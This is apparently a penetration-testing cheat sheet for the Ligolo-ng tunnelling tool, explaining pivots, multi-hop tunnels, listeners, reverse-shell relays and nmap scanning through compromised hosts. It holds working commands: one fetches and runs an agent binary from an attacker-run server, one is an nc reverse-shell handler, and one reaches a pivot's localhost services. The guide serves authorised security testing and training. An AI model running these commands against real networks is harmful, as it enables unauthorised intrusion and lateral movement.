ligolo-ng.md (28160B)
1 --- 2 title: "Ligolo-ng CLI: Routes, Listeners, and Multi-Hop Pivoting" 3 description: "Ligolo-ng v0.9.x CLI guide covering managed routes, listeners, first pivots, multi-hop tunnels, reverse connections, scanning, and troubleshooting." 4 category: tunneling-pivoting 5 tags: [ligolo-ng, pivoting, tunneling, networking] 6 tools: [Ligolo-ng, Nmap] 7 difficulty: intermediate 8 updated: "2026-08-25" 9 source: "local:Kimi Agent Rose-Pine Flowcharts/Ligolo-ng Cheat sheet.md" 10 --- 11 # Ligolo-ng CLI Cheat Sheet 12 13 > [!info] Rose Pine Dawn diagram pack 14 > Each flowchart below opens at full resolution and includes its Mermaid source. 15 > [Download all eight diagrams and sources as a ZIP](/diagrams/ligolo-ng/ligolo-dawn-diagrams.zip). 16 17 > [!important] Version and scope 18 > This sheet targets the **Ligolo-ng 0.9.x CLI** (latest release **v0.9.1**, Aug 2026), 19 > checked against the installed `ligolo-proxy` and the upstream source. Older tutorials mix 20 > obsolete hand-made TUN devices with newer managed commands — if a guide tells you to run 21 > `ip tuntap` before anything else, it is pre-0.8 and out of date. The managed 22 > interface/route/`autoroute` model landed in **v0.8**. Use this only on systems and 23 > networks you are authorised to test. 24 25 > [!tip] New here and confused? Read in this order 26 > 1. **[Start Here](#start-here-what-ligolo-ng-actually-does)** — the 30-second picture. 27 > 2. **[The One Big Idea](#the-one-big-idea-connecting-is-only-step-zero)** — why "connected" is not the finish line. 28 > 3. **[Vocabulary](#vocabulary-the-words-that-trip-people-up)** — the six words the tool keeps using. 29 > 4. **[Which workflow do I need?](#which-workflow-do-i-need)** — pick your path. 30 > 5. Then jump to **Workflow A, B, or C**. Everything after that is reference. 31 32 --- 33 34 ## Start Here: What Ligolo-ng Actually Does 35 36 You have a foothold on one machine (the **pivot**) that can see a network you cannot. 37 Ligolo-ng turns that foothold into a tunnel, so tools on **your** machine (`nmap`, `curl`, 38 a browser) can talk to hosts on the hidden network as if you were plugged into it. 39 40 There are always three players: 41 42 <figure class="diagram-plate corners"> 43 <a class="diagram-plate__image" href="/diagrams/ligolo-ng/01-three-players.png" target="_blank" rel="noopener"> 44 <img src="/diagrams/ligolo-ng/01-three-players.png" alt="Attacker proxy, pivot agent, and internal target" loading="lazy" decoding="async" /> 45 </a> 46 <figcaption> 47 <span>The three Ligolo-ng players</span> 48 <span class="diagram-plate__downloads"> 49 <a href="/diagrams/ligolo-ng/01-three-players.png" download>PNG</a> 50 <a href="/diagrams/ligolo-ng/01-three-players.mmd" download>Mermaid source</a> 51 </span> 52 </figcaption> 53 </figure> 54 55 - **Proxy** = the program **you** run on your attacking box. It owns the CLI you type into. 56 - **Agent** = the small binary you run **on the pivot**. It connects *back* to your proxy. 57 - **Target** = whatever is behind the pivot that you want to reach. 58 59 > [!info] Two things that surprise people 60 > - The **agent connects to the proxy**, not the other way around. Traffic looks like the 61 > pivot making an outbound TLS connection, which usually sails through firewalls. 62 > - Ligolo-ng is **not a SOCKS proxy**. You do not set a proxy in your tools. You point 63 > `nmap` at the real target IP, and a route on your own OS quietly sends it down the tunnel. 64 65 --- 66 67 ## The One Big Idea: Connecting Is Only Step Zero 68 69 When the agent connects, the proxy logs `Agent joined.` — in other words, **connected ≠ 70 traffic flowing**. That message only means the phone line is up. No packets reach the target yet. 71 72 To actually move traffic you assemble four small pieces, in order. Think of them as Lego 73 bricks that stack: 74 75 <figure class="diagram-plate corners"> 76 <a class="diagram-plate__image" href="/diagrams/ligolo-ng/02-four-bricks.png" target="_blank" rel="noopener"> 77 <img src="/diagrams/ligolo-ng/02-four-bricks.png" alt="Session, interface, route, and tunnel flow" loading="lazy" decoding="async" /> 78 </a> 79 <figcaption> 80 <span>The four pieces of a working tunnel</span> 81 <span class="diagram-plate__downloads"> 82 <a href="/diagrams/ligolo-ng/02-four-bricks.png" download>PNG</a> 83 <a href="/diagrams/ligolo-ng/02-four-bricks.mmd" download>Mermaid source</a> 84 </span> 85 </figcaption> 86 </figure> 87 88 That is the whole tool. Every workflow below is just this pattern, sometimes repeated. 89 If traffic is not flowing, you are missing one of these four bricks — that is the first 90 thing to check. 91 92 > [!success] The one-liner to remember 93 > **Pick the session → give it an interface → route the subnet → start the tunnel.** 94 > `autoroute` bundles the last three so you often only do two things. 95 96 --- 97 98 ## Vocabulary: The Words That Trip People Up 99 100 | Word | Plain meaning | 101 |---|---| 102 | **proxy** | The `ligolo-proxy` program on *your* box. It is the CLI. | 103 | **agent** | The binary on the *pivot* that connects back to the proxy. | 104 | **session** | Which agent you are currently controlling. Switch with `session`. | 105 | **interface** | A virtual network card (`tun`) on your box, named `ligolo`, `ligolo1`, etc. Traffic put here goes down the tunnel. | 106 | **route** | A rule: "IPs in *this* subnet belong to *that* interface." | 107 | **tunnel** | The live link that carries packets from an interface, through the agent, to the target. | 108 | **listener** | A relay socket opened *on the agent* that forwards connections (used for double pivots and reverse shells). | 109 | **`--addr`** | On a listener: the socket opened **on the agent (pivot)**. "Where people connect *to*." | 110 | **`--to`** | On a listener: the destination reached **from the proxy/attacker side**. "Where it comes *out*." | 111 112 > [!warning] The single most confusing point 113 > On `listener_add`, **`--to 127.0.0.1:11601` means the *proxy* machine's own port 11601**, 114 > not the pivot's localhost. `--addr` lives on the agent; `--to` lives on the proxy side. 115 > There is a [dedicated diagram](#listener-direction-addr-in-to-out) for this below. 116 117 --- 118 119 ## Which Workflow Do I Need? 120 121 <figure class="diagram-plate corners"> 122 <a class="diagram-plate__image" href="/diagrams/ligolo-ng/03-which-workflow.png" target="_blank" rel="noopener"> 123 <img src="/diagrams/ligolo-ng/03-which-workflow.png" alt="Decision tree for first pivots, multiple pivots, and reverse connections" loading="lazy" decoding="async" /> 124 </a> 125 <figcaption> 126 <span>Choose the right Ligolo-ng workflow</span> 127 <span class="diagram-plate__downloads"> 128 <a href="/diagrams/ligolo-ng/03-which-workflow.png" download>PNG</a> 129 <a href="/diagrams/ligolo-ng/03-which-workflow.mmd" download>Mermaid source</a> 130 </span> 131 </figcaption> 132 </figure> 133 134 - **Most of the time it is Workflow A.** You own one box, you want to scan the subnet behind it. 135 - **Workflow B** is when the interesting network is behind a *second* machine that only the 136 first pivot can talk to. 137 - **Workflow C** is for catching reverse shells / callbacks from inside, and for reaching a 138 service bound to the pivot's own `127.0.0.1`. 139 140 --- 141 142 ## Setup: Start the Proxy and Agent (do this once) 143 144 ### Reading the prompt (so you always know where you are) 145 146 ```text 147 ligolo-ng » 148 ``` 149 No agent selected. Global commands (`session`, `interface_list`, `tunnel_list`) work, but 150 agent-specific commands (`ifconfig`, `autoroute`, `listener_add`) do **not**. 151 152 ```text 153 [Agent : root@dmz01] » 154 ``` 155 An agent **is** selected. Agent-specific commands now act on that agent. If a command 156 complains *"please select an agent"*, this prompt is why — run `session` first. 157 158 ### 1. Start the proxy on the attacker 159 160 ```bash 161 sudo ligolo-proxy -selfcert -laddr 0.0.0.0:11601 162 ``` 163 164 `-selfcert` generates a throwaway TLS certificate. `-laddr` sets the listen address/port 165 (`0.0.0.0:11601` is the default). It needs `sudo` because creating `tun` interfaces requires 166 `CAP_NET_ADMIN` (see [TUN permission error](#tun-permission-error) for a capabilities-only 167 alternative). 168 169 > [!note] Binary names 170 > Upstream release archives name the binaries `proxy` and `agent` (`./proxy -selfcert`, 171 > `./agent -connect …`). Some distro/package builds — including the one installed here — 172 > name them `ligolo-proxy` and `ligolo-agent`. The flags are identical; only the filename 173 > differs. This sheet uses `ligolo-proxy` / `agent`. 174 175 ### 2. Start the agent on the pivot 176 177 Linux: 178 ```bash 179 chmod +x ./agent 180 ./agent -connect 10.10.14.68:11601 -ignore-cert -retry 181 ``` 182 183 Windows: 184 ```powershell 185 .\agent.exe -connect 10.10.14.68:11601 -ignore-cert -retry 186 ``` 187 188 Keep this process running. `-ignore-cert` skips certificate validation and is only 189 acceptable in an isolated lab — use [fingerprint pinning](#certificates) for anything real. 190 `-retry` makes the agent keep reconnecting if the proxy is not ready yet. 191 192 > [!check] What success looks like 193 > Back in the proxy CLI you see `Agent joined.` with the pivot's `name=` and `remote=`. 194 > Confirm with: 195 > ```text 196 > session 197 > ``` 198 > You should see it listed, e.g. `1 - root@dmz01`. **If the `INTERFACE` column is blank, 199 > that is normal at this stage** — you have not built a tunnel yet. That is Workflow A. 200 201 > [!info] Pivot can't connect out? Use bind mode 202 > If an egress firewall stops the pivot from dialing back to you, reverse the direction: 203 > the **agent listens** and the **proxy connects to it**. 204 > ```bash 205 > # on the pivot (agent waits for the proxy) 206 > ./agent -bind 0.0.0.0:11601 -ignore-cert 207 > ``` 208 > ```text 209 > # in the proxy CLI (you reach out to the pivot) 210 > connect_agent --ip <pivot-ip>:11601 211 > ``` 212 > Everything after this (session, autoroute, listeners) works exactly the same. 213 214 --- 215 216 ## Workflow A — Your First Pivot (the 90% case) 217 218 **Goal:** reach `172.16.10.0/24`, the network behind pivot `dmz01`, from your box. 219 220 <figure class="diagram-plate corners"> 221 <a class="diagram-plate__image" href="/diagrams/ligolo-ng/04-workflow-a.png" target="_blank" rel="noopener"> 222 <img src="/diagrams/ligolo-ng/04-workflow-a.png" alt="First-pivot autoroute sequence" loading="lazy" decoding="async" /> 223 </a> 224 <figcaption> 225 <span>Workflow A — first pivot</span> 226 <span class="diagram-plate__downloads"> 227 <a href="/diagrams/ligolo-ng/04-workflow-a.png" download>PNG</a> 228 <a href="/diagrams/ligolo-ng/04-workflow-a.mmd" download>Mermaid source</a> 229 </span> 230 </figcaption> 231 </figure> 232 233 ### Step 1 — Select the agent 234 235 ```text 236 session 237 ``` 238 Use the arrow keys to highlight `1 - root@dmz01`, press **Enter**. The prompt changes to 239 `[Agent : root@dmz01] »`. 240 241 > [!warning] v0.9.x behaviour 242 > Use **bare `session`** and pick interactively. Do **not** type `session 1` or `session -i 1` 243 > — those are copied from incompatible older guides and will not work. 244 245 ### Step 2 — Look at the pivot's networks 246 247 ```text 248 ifconfig 249 ``` 250 This shows the interfaces **on dmz01**. Find the internal subnet you want (e.g. an address 251 in `172.16.10.0/24`). This tells you what to route. 252 253 ### Step 3 — Autoroute (the shortcut that does everything) 254 255 ```text 256 autoroute 257 ``` 258 `autoroute` is **interactive** — it walks you through three prompts: 259 1. **Select routes** — press **Space** to tick the internal subnet(s) you want (e.g. 260 `172.16.10.0/24`), then **Enter**. **Do not** tick loopback, the management network, or a 261 subnet you can already reach locally. 262 2. **Interface** — choose *create a new interface* (it names it `ligolo`) or reuse an existing one. 263 3. **Start the tunnel?** — answer **Yes**. 264 265 In one command it **creates the interface**, **adds the route(s)**, and **starts the tunnel** — 266 that is bricks 2, 3, and 4 from [The One Big Idea](#the-one-big-idea-connecting-is-only-step-zero). 267 268 > [!tip] Optional flags 269 > - `autoroute --interface ligolo` — pre-names the interface and skips prompt 2. 270 > - `autoroute --with-ipv6` — also offers IPv6 addresses (IPv4-only by default). 271 > There is **no** flag to pre-pick routes or skip the "start tunnel?" confirmation; those stay interactive. 272 273 > [!failure] Two errors people hit here 274 > - `please, select an agent using the session command` → you skipped Step 1. Run `session` first. 275 > - Passing the interface name as a bare word (`autoroute ligolo`) errors — if you want to 276 > name it on the command line, it is a **flag**: `autoroute --interface ligolo`. 277 278 ### Step 4 — Verify, then use it 279 280 In Ligolo: 281 ```text 282 tunnel_list 283 interface_list 284 ``` 285 The agent should now show `ligolo` in its interface column, and `interface_list` should show 286 your route. 287 288 On the attacker (a normal shell, not the Ligolo CLI): 289 ```bash 290 ip route show dev ligolo 291 ping -c 1 172.16.10.20 292 nmap --unprivileged -sT -Pn -n 172.16.10.20 293 ``` 294 295 If `ip route show dev ligolo` lists your subnet, the plumbing is correct. See 296 [Scanning through the tunnel](#scanning-through-the-tunnel-nmap) for why the nmap flags matter. 297 298 ### What autoroute did (the manual equivalent) 299 300 Same result, done by hand — useful when `autoroute` offers the wrong subnet, or you need a 301 route the pivot is not directly connected to: 302 303 ```text 304 interface_create --name ligolo 305 route_add --name ligolo --route 172.16.10.0/24 306 interface_list 307 ``` 308 Then attach the tunnel to the agent: 309 ```text 310 session 311 # select dmz01 312 tunnel_start --tun ligolo 313 ``` 314 315 Add or remove routes on the same interface at any time: 316 ```text 317 route_add --name ligolo --route 172.16.20.0/24 318 route_del --name ligolo --route 172.16.20.0/24 319 ``` 320 321 > [!note] Naming 322 > `route_add` / `route_del` are the current commands. Older guides use 323 > `interface_add_route` / `interface_del_route` — these still work as aliases in v0.9.x. 324 325 --- 326 327 ## Workflow B — Double / Multi Pivot 328 329 **When:** the network you want (`10.20.30.0/24`) is behind a **second** machine (`srv02`) 330 that only your **first** pivot (`dmz01`) can talk to. You cannot run the second agent 331 against your own VPN IP, because `srv02` has no route to you. So you make the second agent 332 connect to the **first pivot**, which relays it back to your proxy through the tunnel you 333 already built. That relay is a **listener**. 334 335 <figure class="diagram-plate corners"> 336 <a class="diagram-plate__image" href="/diagrams/ligolo-ng/05-double-pivot.png" target="_blank" rel="noopener"> 337 <img src="/diagrams/ligolo-ng/05-double-pivot.png" alt="Two Ligolo-ng agents and two routed interfaces" loading="lazy" decoding="async" /> 338 </a> 339 <figcaption> 340 <span>Workflow B — double pivot</span> 341 <span class="diagram-plate__downloads"> 342 <a href="/diagrams/ligolo-ng/05-double-pivot.png" download>PNG</a> 343 <a href="/diagrams/ligolo-ng/05-double-pivot.mmd" download>Mermaid source</a> 344 </span> 345 </figcaption> 346 </figure> 347 348 > [!important] The golden rule of multi-pivot 349 > **Each pivot gets its own interface.** Pivot 1 → `ligolo`, Pivot 2 → `ligolo2`, and so on. 350 > Both tunnels stay up at the same time. Never route the *same* subnet through two interfaces. 351 352 ### Step 0 — Confirm Pivot 1 is fully working 353 354 You should already have `dmz01 → ligolo → 172.16.10.0/24` from Workflow A. Check: 355 ```text 356 tunnel_list 357 interface_list 358 ``` 359 360 ### Step 1 — Add a listener on Pivot 1 361 362 Select `dmz01`, then open a relay on it that forwards back to your proxy: 363 ```text 364 session 365 # select dmz01 366 listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:11601 --tcp 367 listener_list 368 ``` 369 This says: *"anything that connects to **dmz01:4444** (`--addr`, on the pivot) gets relayed, 370 through the tunnel, to the proxy's own **127.0.0.1:11601** (`--to`)."* The listener port 371 `4444` is your choice — pick anything free on the pivot; `--to 11601` must be the proxy's real 372 port. If you prefer, bind only the address Pivot 2 can actually reach: 373 ```text 374 listener_add --addr 172.16.10.10:4444 --to 127.0.0.1:11601 --tcp 375 ``` 376 377 ### Step 2 — Get the agent onto Pivot 2 378 379 You often need to serve the agent binary through Pivot 1. On the attacker: 380 ```bash 381 python3 -m http.server 8000 --bind 127.0.0.1 382 ``` 383 With `dmz01` selected, relay that file server to the pivot's reachable IP: 384 ```text 385 listener_add --addr 172.16.10.10:8000 --to 127.0.0.1:8000 --tcp 386 ``` 387 On Pivot 2, pull it: 388 ```bash 389 wget http://172.16.10.10:8000/agent -O /tmp/agent && chmod +x /tmp/agent 390 ``` 391 ```powershell 392 iwr http://172.16.10.10:8000/agent.exe -OutFile C:\Windows\Temp\agent.exe 393 ``` 394 395 ### Step 3 — Run Agent 2 against Pivot 1 (not against you) 396 397 On Pivot 2: 398 ```bash 399 /tmp/agent -connect 172.16.10.10:4444 -ignore-cert -retry 400 ``` 401 ```powershell 402 C:\Windows\Temp\agent.exe -connect 172.16.10.10:4444 -ignore-cert -retry 403 ``` 404 405 > [!warning] Use Pivot 1's IP *as Pivot 2 sees it* 406 > Point Agent 2 at the listener you opened on Pivot 1, **not** your VPN IP. Pivot 2 has no 407 > route to your VPN — that is the entire reason you are double-pivoting. 408 409 ### Step 4 — Route the deep network through a NEW interface 410 411 Back in the proxy CLI, the second agent now appears: 412 ```text 413 tunnel_list 414 session 415 # select srv02 (the new agent) 416 ifconfig 417 autoroute --interface ligolo2 418 ``` 419 Tick **only** the new/deeper subnet (`10.20.30.0/24`) and start the tunnel. 420 421 > [!danger] Do not re-route the shared subnet 422 > Do **not** add `172.16.10.0/24` to `ligolo2` — it is already routed via `ligolo`. A 423 > duplicate route can send packets down the wrong tunnel and silently break things. 424 425 ### Step 5 — Verify both pivots are live 426 427 ```text 428 tunnel_list 429 interface_list 430 ``` 431 Expected: 432 ```text 433 dmz01 -> ligolo -> 172.16.10.0/24 434 srv02 -> ligolo2 -> 10.20.30.0/24 435 ``` 436 On the attacker: 437 ```bash 438 ip route show dev ligolo 439 ip route show dev ligolo2 440 nmap --unprivileged -sT -Pn -n 10.20.30.25 441 ``` 442 443 ### The N-hop pattern (pivot 3, 4, …) 444 445 Each extra hop is the same four moves: 446 1. Keep every existing tunnel running. 447 2. `session` → select the **previous** agent; `listener_add` a relay to proxy-side `127.0.0.1:11601`. 448 3. Run the new agent against the **previous** pivot's reachable IP + listener port. 449 4. `session` → select the new agent; give it a **unique** interface (`ligolo3`…) and route 450 **only** its new subnet. 451 452 --- 453 454 ## Workflow C — Reverse Connections 455 456 Two related jobs, both solved with a listener: catching a **reverse shell** from inside, 457 and reaching a service on the **pivot's own localhost**. 458 459 ### Listener Direction: addr In, to Out 460 461 The `--addr` vs `--to` split confuses everyone, so here it is as a picture. A listener is a 462 one-way relay: connections arrive at `--addr` (on the agent) and pop out at `--to` (reached 463 from the proxy side). 464 465 <figure class="diagram-plate corners"> 466 <a class="diagram-plate__image" href="/diagrams/ligolo-ng/06-listener-direction.png" target="_blank" rel="noopener"> 467 <img src="/diagrams/ligolo-ng/06-listener-direction.png" alt="Connections enter the agent address and exit on the proxy side" loading="lazy" decoding="async" /> 468 </a> 469 <figcaption> 470 <span>Listener direction</span> 471 <span class="diagram-plate__downloads"> 472 <a href="/diagrams/ligolo-ng/06-listener-direction.png" download>PNG</a> 473 <a href="/diagrams/ligolo-ng/06-listener-direction.mmd" download>Mermaid source</a> 474 </span> 475 </figcaption> 476 </figure> 477 478 General form: 479 ```text 480 listener_add --addr <agent-bind-ip:port> --to <proxy-side-ip:port> --tcp # or --udp 481 listener_list 482 listener_stop # interactive selector in v0.9.x — do not append an ID 483 ``` 484 485 ### Catch a reverse shell on your own listener 486 487 <figure class="diagram-plate corners"> 488 <a class="diagram-plate__image" href="/diagrams/ligolo-ng/07-reverse-shell.png" target="_blank" rel="noopener"> 489 <img src="/diagrams/ligolo-ng/07-reverse-shell.png" alt="Internal callback relayed through a Ligolo-ng listener" loading="lazy" decoding="async" /> 490 </a> 491 <figcaption> 492 <span>Reverse-shell relay</span> 493 <span class="diagram-plate__downloads"> 494 <a href="/diagrams/ligolo-ng/07-reverse-shell.png" download>PNG</a> 495 <a href="/diagrams/ligolo-ng/07-reverse-shell.mmd" download>Mermaid source</a> 496 </span> 497 </figcaption> 498 </figure> 499 500 On the attacker, start your handler: 501 ```bash 502 nc -lvnp 4444 503 ``` 504 With the pivot agent selected, relay the pivot's `:5555` to your handler: 505 ```text 506 listener_add --addr 0.0.0.0:5555 --to 127.0.0.1:4444 --tcp 507 ``` 508 Set the internal host's payload to call back to `<pivot-ip>:5555`. Ligolo relays it to your 509 `127.0.0.1:4444`. 510 511 ### Reach the pivot's own localhost (240.0.0.0/4 magic range) 512 513 Sometimes the loot is a service bound to `127.0.0.1` **on the pivot** (a local-only admin 514 panel, database, etc.). Ligolo maps the magic range `240.0.0.0/4` (an otherwise-unused IPv4 515 block) to the selected tunnel's agent-side localhost. Route a `/32` from that block into the 516 interface: 517 ```text 518 route_add --name ligolo --route 240.0.0.1/32 519 ``` 520 ```bash 521 curl http://240.0.0.1:8080/ 522 nmap --unprivileged -sT -Pn -n 240.0.0.1 523 ``` 524 `240.0.0.1` now behaves like `127.0.0.1` **on dmz01**. 525 526 > [!note] The official docs use the OS command for this step 527 > `sudo ip route add 240.0.0.1/32 dev ligolo` does the same thing. Prefer the managed 528 > `route_add` above so the route lives in Ligolo's config with everything else. 529 530 For several pivots at once, give each a distinct `/32` so they do not collide: 531 ```text 532 route_add --name ligolo --route 240.0.0.1/32 # dmz01 localhost 533 route_add --name ligolo2 --route 240.0.0.2/32 # srv02 localhost 534 ``` 535 536 --- 537 538 ## Scanning Through the Tunnel (nmap) 539 540 Ligolo rebuilds traffic in userspace — it is **not** forwarding raw Ethernet frames. So use 541 **TCP connect** scans and skip host discovery, which is where beginners get empty results: 542 543 ```bash 544 nmap --unprivileged -sT -Pn -n -p 22,80,443,445,3389 172.16.10.20 545 nmap --unprivileged -sT -Pn -n -sV 172.16.10.20 546 nmap --unprivileged -sT -Pn -n -p- 172.16.10.20 547 ``` 548 549 - `-sT` — TCP connect scan (raw SYN scans do not work reliably through the tunnel). 550 - `-Pn` — skip ping/host-discovery (it lies through userspace tunnels). 551 - `-n` — no DNS. 552 - `--unprivileged` — force the userspace connect path even as root. 553 554 If you *know* ICMP works to the subnet, `-PE` can help discovery, but do not trust raw 555 SYN/ACK sweeps here. 556 557 --- 558 559 ## Certificates 560 561 ### Fast lab (skip validation) 562 563 ```bash 564 sudo ligolo-proxy -selfcert 565 ``` 566 ```bash 567 ./agent -connect <proxy-ip>:11601 -ignore-cert 568 ``` 569 The certificate warning is expected because validation is off. 570 571 ### Fingerprint pinning (better, still easy) 572 573 Start with `-selfcert`, then in the proxy CLI print the fingerprint: 574 ```text 575 certificate_fingerprint 576 ``` 577 Give that SHA-256 to the agent so it validates without you shipping a CA: 578 ```bash 579 ./agent -connect <proxy-ip>:11601 -accept-fingerprint <SHA256-FINGERPRINT> 580 ``` 581 582 --- 583 584 ## Troubleshooting 585 586 > [!bug] Diagnostic order: check the four bricks 587 > Almost every "it doesn't work" is a missing/duplicated brick from 588 > [The One Big Idea](#the-one-big-idea-connecting-is-only-step-zero): session, interface, 589 > route, tunnel. Walk them in order. 590 591 <figure class="diagram-plate corners"> 592 <a class="diagram-plate__image" href="/diagrams/ligolo-ng/08-troubleshooting.png" target="_blank" rel="noopener"> 593 <img src="/diagrams/ligolo-ng/08-troubleshooting.png" alt="Route, tunnel, reachability, and scan checks" loading="lazy" decoding="async" /> 594 </a> 595 <figcaption> 596 <span>Troubleshooting flow</span> 597 <span class="diagram-plate__downloads"> 598 <a href="/diagrams/ligolo-ng/08-troubleshooting.png" download>PNG</a> 599 <a href="/diagrams/ligolo-ng/08-troubleshooting.mmd" download>Mermaid source</a> 600 </span> 601 </figcaption> 602 </figure> 603 604 ### `please, select an agent using the session command` 605 You ran an agent-specific command with no agent selected. 606 ```text 607 tunnel_list 608 session 609 # select the agent, then rerun the command 610 ``` 611 612 ### `invalid usage of command 'autoroute' (unconsumed input 'ligolo')` 613 The interface name is a flag, not a positional argument. 614 ```text 615 autoroute --interface ligolo # right 616 autoroute ligolo # wrong 617 ``` 618 619 ### Agent is online but the INTERFACE column is blank 620 The control channel is up but no tunnel is started (the normal state right after connect): 621 ```text 622 session 623 # select the agent 624 autoroute 625 ``` 626 Or the manual three bricks: `interface_create` → `route_add` → `tunnel_start --tun ligolo`. 627 628 ### TUN permission error 629 Run the proxy as root: 630 ```bash 631 sudo ligolo-proxy -selfcert 632 ``` 633 Or grant only the needed capabilities to the trusted proxy binary: 634 ```bash 635 sudo setcap cap_net_admin,cap_net_raw+eip "$(command -v ligolo-proxy)" 636 getcap "$(command -v ligolo-proxy)" 637 ``` 638 639 ### Route exists but traffic fails 640 Walk the layers (this is the flowchart above, in commands): 641 ```text 642 tunnel_list 643 interface_list 644 ``` 645 ```bash 646 ip link show 647 ip route 648 ip route get <target-ip> 649 ``` 650 Common causes: 651 - The wrong agent is attached to the interface. 652 - A broader local/VPN route wins over the Ligolo route. 653 - The same subnet is on two Ligolo interfaces. 654 - The selected agent itself cannot reach the target. 655 - A host firewall drops the traffic. 656 657 ### Agent 2 never appears during a double pivot 658 With Pivot 1 selected, `listener_list`, then confirm: 659 - Agent 2 connects to Pivot 1's reachable IP and the `--addr` port. 660 - The listener's `--to` is `127.0.0.1:11601` on the **proxy** side. 661 - The listener is TCP and the port is free on Pivot 1. 662 - Agent 2 was started with `-retry` in case the relay was not ready yet. 663 664 ### Stale interface or route (v0.8+ persists config) 665 Managed interfaces/routes are saved in `ligolo-ng.yaml`. Inspect before duplicating: 666 ```text 667 interface_list 668 ``` 669 Stop the tunnel, then clean up: 670 ```text 671 route_del --name <interface> --route <cidr> 672 interface_delete --name <interface> 673 ``` 674 675 --- 676 677 ## Stop and Clean Up 678 679 ```text 680 tunnel_list # get agent IDs 681 tunnel_stop # stop the selected agent's tunnel 682 tunnel_stop --agent <agent-id> # stop by ID without switching session 683 listener_stop # interactive selector 684 route_del --name ligolo2 --route 10.20.30.0/24 685 interface_delete --name ligolo2 # asks for confirmation; removes saved config 686 ``` 687 Stop each agent process on the pivots with **Ctrl-C**, and remove any transferred binaries 688 once the authorised exercise is complete. 689 690 --- 691 692 ## v0.9.x Command Reference 693 694 | Command | Scope | Purpose | 695 |---|---|---| 696 | `help` | Global | Show CLI commands | 697 | `tunnel_list` | Global | List agents, assigned interfaces, and status | 698 | `session` | Global / interactive | Select or switch the current agent | 699 | `ifconfig` | Selected agent | Show the agent host's interfaces | 700 | `autoroute [--interface NAME] [--with-ipv6]` | Selected agent | Create interface + routes, optionally start tunnel | 701 | `tunnel_start --tun NAME` | Selected agent | Start the tunnel on a specific interface | 702 | `tunnel_stop [--agent ID]` | Selected agent / global | Stop a tunnel | 703 | `interface_list` | Global | List managed interfaces, routes, and state | 704 | `interface_create --name NAME` | Global | Create/configure a TUN interface | 705 | `interface_delete --name NAME` | Global | Delete a managed interface | 706 | `route_add --name NAME --route CIDR` | Global | Add a route to an interface | 707 | `route_del --name NAME --route CIDR` | Global | Delete a route from an interface | 708 | `listener_add --addr IP:PORT --to IP:PORT --tcp\|--udp` | Selected agent | Bind on agent, relay toward proxy side | 709 | `listener_list` | Global | List listeners across agents | 710 | `listener_stop` | Global / interactive | Interactive selector, then stop a listener | 711 | `connect_agent --ip IP:PORT` | Global | Dial a bind-mode agent that is listening | 712 | `certificate_fingerprint` | Global | Print the self-signed cert fingerprint | 713 | `kill` | Selected agent | Confirm, then terminate the agent (aliases: `agent_kill`, `session_kill`) | 714 715 Accepted aliases (older names still work): 716 ```text 717 start -> tunnel_start 718 stop -> tunnel_stop 719 iflist -> interface_list 720 ifcreate -> interface_create 721 ifdel -> interface_delete 722 interface_add_route -> route_add 723 interface_del_route -> route_del 724 session_list -> tunnel_list 725 ``` 726 727 --- 728 729 ## Official References 730 731 - [Ligolo-ng documentation](https://docs.ligolo.ng/) 732 - [Quickstart](https://docs.ligolo.ng/Quickstart/) 733 - [Advanced / double pivot](https://docs.ligolo.ng/sample/double/) 734 - [Listeners](https://docs.ligolo.ng/Listeners/) 735 - [Agent localhost magic range](https://docs.ligolo.ng/Localhost/) 736 - [GitHub repository and releases](https://github.com/nicocha30/ligolo-ng)